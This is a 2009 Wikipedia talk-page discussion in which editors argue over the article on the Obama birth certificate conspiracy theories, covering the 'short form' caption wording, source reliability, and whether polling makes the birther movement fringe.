Under what circumstances the original birth certificate can be produced is a little foggy (at least from my understanding of the issue). Obama can produce it voluntarily by a request to the State of Hawaii? A court order is necessary? Even Obama would need a court order? I'm not really sure. Regardless, there's no sense in pretending that an original 1961 birth certificate does not exist simply because the State of Hawaii has recently said "does not have a short-form or long-form certificate". In the past they've acknowledged the disctinction and recently they have referenced the original birth record in their statements. Let's let the article reflect the facts as clearly and completely as possible. There is a COLB (generally known as a short form) that has been produced and the original birth certificate (generally known as a long form) that has not. Why it has not or cannot be produced is a separate discussion. What's not up for discussion is that original records never existed. JBarta (talk) 00:41, 10 August 2009 (UTC)

I'm sorry that you and Will are having difficulty understanding "does not have a short-form or long-form certificate", but I really don't think there's much that we can do to help you with that. Tarc (talk) 00:59, 10 August 2009 (UTC)

Personally I don't mind too much removing "short form" from the image caption based on "does not have a short-form or long-form certificate". I think it's rather misleading however because the COLB is in fact generally known as a short form (even if Hawaii has recently seen fit to disavow the distinction). JBarta (talk) 02:46, 10 August 2009 (UTC)

I'd like to readd "as posted on his website," since some editors believe that stating "short-form" is not factually correct in Hawaii. I think it was a good compromise that clarified that it was not exactly the "official" birth certificate as readers are currently being led to believe. Any thoughts? Or suggestions for a better clarification? --William S. Saturn (talk) 04:06, 10 August 2009 (UTC)

I don't like that compromise. Actually I'm not sure any compromise should be made. At the same time the document is a "birth certificate", a "certification of live birth", a "short form birth certificate" and a "green piece of paper". All are correct... but which is best? It's slightly misleading (considering the circumstances), but I can live with "Certification of Live Birth" as the image caption. But... the article should make perfectly clear the differences between the long and short form and how it pertains to this issue. JBarta (talk) 05:38, 10 August 2009 (UTC)

I should also add that "short form certification of live birth" or its variants are a little clunky... and now argumentative since the Hawaiian official has decided to declare that Hawaii doesn't have long forms or short forms. Again, I think that distinction is probably best made within the article text rather than an image caption. JBarta (talk) 06:19, 10 August 2009 (UTC)

I think the problem is that many readers will quickly scan through the article and just see the image and caption. I think clarification is ideal, but I guess clarification in the article would suffice. --William S. Saturn (talk) 16:49, 10 August 2009 (UTC)

Sunday Times article

Can this be added (9 August issue) - it gives a summary of the backhistory (do not have it to hand). Jackiespeel (talk) 15:43, 10 August 2009 (UTC)

Is this it? The Four Deuces (talk) 17:25, 10 August 2009 (UTC)

That's an opinion piece, not a reliable source. Who then was a gentleman? (talk) 20:01, 10 August 2009 (UTC)

Claim that "Both parents must be citizens"

I'd like to add a sub-section that reads something to the effect of: Taitz claims that in order for a person to be "natural born", both parents must be citizens. ... I have seen the tape, as they say, but I can not find a written transcript or reliable document with that assertion. Bearian (talk) 17:41, 10 August 2009 (UTC)

Aha, I found it! Bearian (talk) 17:52, 10 August 2009 (UTC)

I guess I lost it; User:Loonymonkey reverted my edit. I will carry on and try to find a better source. Bearian (talk) 20:50, 10 August 2009 (UTC)

Not taking a position on whether it belongs in the article, but for a source, Orly says it herself in the David Shuster interview (at 5'40" of the YouTube clip, http://www.youtube.com/watch?v=bMUaca8wP9w). --TheMaestro (talk) 21:41, 10 August 2009 (UTC)

Fringe?

As noted in this Sunday Times article, 58% of Republicans question whether Obama was born in Hawaii, including 70% in Virginia. Can this truly be considered fringe? --William S. Saturn (talk) 17:45, 10 August 2009 (UTC)

The question is what about America as a whole, not just the Republicans? It's the same as saying that because cheese makers love eating cheese.... Brothejr (talk) 17:51, 10 August 2009 (UTC)

Good point, however Republicans are a major party in the United States, much more proportionate to the population at large than cheese makers. --William S. Saturn (talk) 17:53, 10 August 2009 (UTC)

That leads to another question of: is the Republican party the majority party in the U.S.? Are there current 2009 statistics that back that up? Brothejr (talk) 17:56, 10 August 2009 (UTC)

Fringe is defined by reliable sources, not opinion polls. This line of reasoning is a non-starter. A Quest For Knowledge (talk) 18:00, 10 August 2009 (UTC)

This. Ravensfire2002 (talk) 19:01, 10 August 2009 (UTC)

I don't think it needs to be. It is a major party, perhaps not the majority party, but the affiliation is extremely large. It is in no way a "fringe" party, so if the majority of its members question where Obama was born, I don't think you can label it a "fringe" movement. --William S. Saturn (talk) 18:01, 10 August 2009 (UTC)

Opinion polls should be taken into account, the definition of fringe is "something that is marginal, additional, or secondary to some activity, process, or subject <a fringe sport> b : a group with marginal or extremist views." --William S. Saturn (talk) 18:05, 10 August 2009 (UTC)

Well, no, of course they're not the majority party (see last two elections, for example). Currently, 27% of the country identifies itself as Republican, so 58% of those would be 15% of the voting-age public. There isn't any point in debating where the cut-off point for "fringe" is, because it's not up to us to decide. It's up to the reliable sources cited. --Loonymonkey (talk) 18:06, 10 August 2009 (UTC)

Agreed, the most we could say is that 58% of the Republicans believe these theories per the sources. Brothejr (talk) 18:24, 10 August 2009 (UTC)

Partisan sources can falsely claim a party is "fringe," to discredit their position. However, sources such as a poll, can factually demonstrate whether a party is a "fringe" movement. --William S. Saturn (talk) 18:38, 10 August 2009 (UTC)

Perhaps if one looked at the actual Republican breakdown; (courtesy of politico.com

• wasn't born in the US (28%)
• aren't sure (30%)
• born in the US (42%)

we would see that barely a quarter of the party is in the literal "OMG FOREIGNER!!!" camp, while a little ore than that are on the fence. We're still only talking about the narrowly-focused opinion of a group of people who profess a particular party affiliation though, which is not at all representative of the American public. From the same article, an overwhelming 77% of all polled believe Obama was born in the US, with 11% going for "no" and the rest unsure. So, yes, when only 11% stand up and express the Birther side of the issue, it is still firmly entrenched in the wild, wooly lands of the Fringe. Tarc (talk) 20:04, 10 August 2009 (UTC)

I would dispute the assertion that 11% is fringe. I believe statistics on homosexuality suggest percentages close to that number. In no way is homosexuality a fringe lifestyle. --William S. Saturn (talk) 20:06, 10 August 2009 (UTC)

I do not believe that how many people believe in a theory makes it a "fringe theory". What really matters is how gounded in reality or verifiability a theory is, that dictates whether it should be considered "fringe". Bearian (talk) 20:54, 10 August 2009 (UTC)

Bearian is correct. Even though a substantial number of people may believe the Apollo moon landings were faked (I've heard figures as high as 20% of the U.S. population), it is still definitely "fringe" because it flies in the face of all available documented evidence (one is tempted to say "reality"). BOCCT falls in the same category. Arjuna (talk) 21:05, 10 August 2009 (UTC)

Guys, this is a non-starter. Opinion polls of ordinary people are completely irrelevant. What matters are opinions by subject matter experts as published by reliable sources. For example, consider evolution versus intelligent design. Opinion polls show that 57% of Americans believe in or lean toward intelligent design, but it's still considered a fringe theory because it's rejected by the scientific community. A Quest For Knowledge (talk) 21:21, 10 August 2009 (UTC)

And who is an expert on what a birth certificate says? By your logic, Judaism is a fringe religion, as is homosexuality. There is nothing scientific about this. --William S. Saturn (talk) 23:08, 10 August 2009 (UTC)

Please read WP:V, particularly the bolded part of the first sentence in the lead. Read WP:FRINGE for what is, and is not, fringe. This very, very clearly qualifies. Ravensfire2002 (talk) 23:11, 10 August 2009 (UTC)

On what basis? Scientific? Factually based? A fringe view is not something that is held by 15% of the public and cannot be dissproved scientifically. --William S. Saturn (talk) 23:14, 10 August 2009 (UTC)

Misplaced Pages's definition: We use the term fringe theory in a very broad sense to describe ideas that depart significantly from the prevailing or mainstream view in its particular field of study. Examples include conspiracy theories. That's pretty much what this is, so if the shoe fits... Soxwon (talk) 23:24, 10 August 2009 (UTC)

15% can be considered mainstream. That's why the polling numbers have been brought up. --William S. Saturn (talk) 23:27, 10 August 2009 (UTC)

It's still a conspiracy theory, departs from a far larger majority, and no amount of arguing over what constitutes "mainstream" and the relevance of polling data is going to change that. Soxwon (talk) 23:29, 10 August 2009 (UTC)

15% to 85% is not a "far larger majority." And really, what's the conspiracy? The biggest part of the movement is the desire to see a birth certificate. --William S. Saturn (talk) 23:31, 10 August 2009 (UTC)

Reliable sources call this fringe, therefore so do we, per policy. The fact that some sizable percentage of the population, no matter how you want to slice and dice it, believe in fringe theories does not suddenly counter what the reliable sourcing says, which is specifically, "fringe." The arguments in this thread to counter the reliable sourcing appear to be editor WP:OR. cheers, --guyzero | talk 23:37, 10 August 2009 (UTC)

William S, the "biggest part of the movement" is the desire not to see the birth certificate that has been provided ... and then weave these multi layered conspiracies on all the people covering up for Obama including the GOP governor of Hawaii who says she has seen the original --- and his Mother who somehow knew that her mulatto child named Barack Hussein Obama in 1961 (when he would not have even been allowed in the all whites swimming pool) would somehow become President of the U.S. one day, and thus began the elaborate birth scheme of making it appear he was born in Hawaii. What Obama has provided is what the state provides when one requests a copy of ones birth certificate (for a passport, license etc). The only way in Hawaii to have the other document the birthers want would be for his now deceased mother to have preserved the original (something that most people don’t do for the first 50 years of their child’s life). This "short form" is the ONLY form given out in the state of Hawaii at present.   Redthoreau (talk)RT 00:06, 11 August 2009 (UTC)

What are these reliable sources? Op-eds? --William S. Saturn (talk) 00:00, 11 August 2009 (UTC)

Reliable sources. This is covered in the FAQ. A Quest For Knowledge (talk) 00:13, 11 August 2009 (UTC)

..and in the article. Please refer to the 6+ RS's in the article that backup each use of "fringe." Additional RS's can be found here and in various other locations in the archives. Please provide reliable sources that specifically state that this movement is NOT fringe. thanks, --guyzero | talk 00:14, 11 August 2009 (UTC)

On reflection, this sub-topic should've been given a "see FAQ, Q1" response and that would have been the end of it. Tarc (talk) 00:25, 11 August 2009 (UTC)

The problem with that, is that sources with that exact wording do not exist. However, I can cite examples that do not state it is fringe. But this is more or less, a logical argument, how can 15% of the public's beliefs not disproved by scientific fact be considered fringe?--William S. Saturn (talk) 00:26, 11 August 2009 (UTC)

"15% of the public's beliefs not disproved by scientific fact" = would also include belief in angels, witches, ghosts, Big Foot, curses, tarot cards, the Yeti, Lochness Monster, magic, psychics, voodoo, and probably fortune cookies.   Redthoreau (talk)RT 00:36, 11 August 2009 (UTC)

Those are obviously disproved by scientific fact.

And to those arguing there is no difference between the actual birth certificate and the one released by Obama, you are wrong. There is an origninal, and it has not been released. Many are simply misinformed on this matter, which leads to the illusion that this is a lunatic fringe movement. --William S. Saturn (talk) 00:41, 11 August 2009 (UTC)

Saturn, you're asking us to prove a negative...we don't do that...since no facts have been provided that Obama is not a U.S. Citizen, then the onus is on the conspiracy theorists to provide factual evidence proving their point. In this they have failed. Oddly, no one seems to question that Obama's mother was a U.S. citizen, which is sufficient for Barack to be one regardless of his place of birth. McCain was born outside the U.S. but his parents where both U.S. citizens so he was naturalized at birth (Jus sanguinis)...Barack was born in Hawaii after it became a state...no factual evidence refutes that and he was therefore a natural born U.S. citizen and this would be true no matter what his parents nationality was (Jus soli)...so yeah, believing in non factual information is fringe in most cases and especially in this one.--MONGO 00:45, 11 August 2009 (UTC)

The fact is that the original birth certificate has not been released. --William S. Saturn (talk) 00:46, 11 August 2009 (UTC)

William S, those things are NOT "disproven" by Scientific fact - however they are also not proven with any scientific fact - just like the belief that Obama was born in Kenya has no evidence at all. Conspiracies and fringe beliefs usually work backwards (unlike other things) where they begin with a premise i.e. "Flying Unicorns exist" - and then ask those who doubt the assertion to prove a negative = "prove they don't". Obviously this can't be done, however the fact that no evidence AT ALL exists to prove that flying unicorns exist (or that Obama was born in Kenya) still does not dissuade a true believer (in fact nothing will). If Obama produced the video of him breaching from the womb on the beach in Honolulu, birthers would claim it was made with CGI equipment ala Jar Jar Binks.   Redthoreau (talk)RT 00:52, 11 August 2009 (UTC)

Saturn, no one disputes that his mother was a U.S. citizen....--MONGO 00:54, 11 August 2009 (UTC)

Mongo, what are you talking about and where are you coming from on this? The movement is to convince Obama to show his original birth certificate, how is that a conspiracy/fringe movement? --William S. Saturn (talk) 01:38, 11 August 2009 (UTC)

Because the RS's say so. --guyzero | talk 01:45, 11 August 2009 (UTC)

These repetitive arguments are accomplishing nothing. The WP:RSs have described it as a Conspiracy Theory and a CT is clearly marked as "fringe" under[REDACTED] policy. There's nothing more to discuss. Soxwon (talk) 01:59, 11 August 2009 (UTC)

"Show his original birth certificate" is only one aspect of the Birther movement, which is not some sort of monolithic entity. Others have filed lawsuits seeking to disqualify Obama outright, both before the general election (remove from the ballot) and after (removed from office). The birthers themselves use the term, e.g. "...to finally expose the conspiracy behind President Obama’s birth certificate" , and it is used by others, e.g. "Culture of conspiracy: the Birthers" . The use of "conspiracy" by reliable sources and self-identifiers is well-cemented in fact. As for "fringe", that is precisely what it is; a point of view held by a small amount of people. The fringe belief itself has become notable enough that it warrants its own article, but an article on the fringe/conspiracy nature of the matter. That it is notable does not equate to the creation of a platform to actually espouse/promote the fringe POV. From WP:FRINGE; "The discussion of a fringe theory, positively or negatively, by groups or individuals is not a criterion for notability, even if the latter group or individual is itself notable enough for a Misplaced Pages article. If a fringe theory meets notability requirements, secondary reliable sources would have commented on it, disparaged it, or discussed it. Otherwise it is not notable enough for Misplaced Pages." Tarc (talk) 02:09, 11 August 2009 (UTC)

The problem is that there is too much emphasis on the lunatic faction. This article should give more weight to the Americans simply asking Obama to release his original birth certificate. This is the more prominent aspect of it, and this aspect is not a conspiracy theory, it's a movement. --William S. Saturn (talk) 04:17, 11 August 2009 (UTC)

Edits by Redthoreau

Wow. These edits are blatant violations of NPOV, made in such a discreet and spread-out way, as to make it almost impossible to revert. I'll let them stand so I can have something to laugh at. But please realize that you are only hurting wikipedia's integrity when you make edits like that. --William S. Saturn (talk) 05:06, 11 August 2009 (UTC)

A template has been added to the article until the corrections are made. --William S. Saturn (talk) 05:27, 11 August 2009 (UTC)

The template has been removed by User:WikiDemon, but the misinformation remains. --William S. Saturn (talk) 06:06, 11 August 2009 (UTC)

Yes, I have removed the template - that is not an appropriate template for this sort of article. Further, I have nominated this particular template for deletion because I don't think it serves any legitimate purpose on any article. Please use this page to discuss any content matters or objections, and/or use WP:BRD process to handle any disputed content changes. Redthoreau has made a large number of edits to the article recently. What, specifically, do you dispute as misinformation? Wikidemon (talk) 06:17, 11 August 2009 (UTC)

For the record, WikiDemon feels this version is acceptable. If you truly feel the problem is not that obvious, I question your judgement as a wikipedian. --William S. Saturn (talk) 06:20, 11 August 2009 (UTC)

I have never claimed that a particular version is acceptable. Again, if you disagree with some of the content on the page, please state what you disagree with and why. If you do that, the editors here can have a reasonable discussion on the topic. I have left a caution on your talk page about Obama article probation and about using article talk pages to make accusations against other editors. Let's stay on topic. Thanks, Wikidemon (talk) 06:50, 11 August 2009 (UTC)

Like I said, I'm gonna leave this alone because I find the bias hilarious. It's a perfect demonstration of the bad faith by the owners of this article. --William S. Saturn (talk) 06:52, 11 August 2009 (UTC)

• Biography articles of living people
• All unassessed articles
• B-Class U.S. Supreme Court articles
• Unknown-importance U.S. Supreme Court articles
• WikiProject U.S. Supreme Court cases articles
• B-Class law articles
• Unknown-importance law articles
• WikiProject Law articles
• WikiProject templates with unknown parameters
• B-Class Alternative views articles
• Low-importance Alternative views articles
• WikiProject Alternative views articles
• Misplaced Pages controversial topics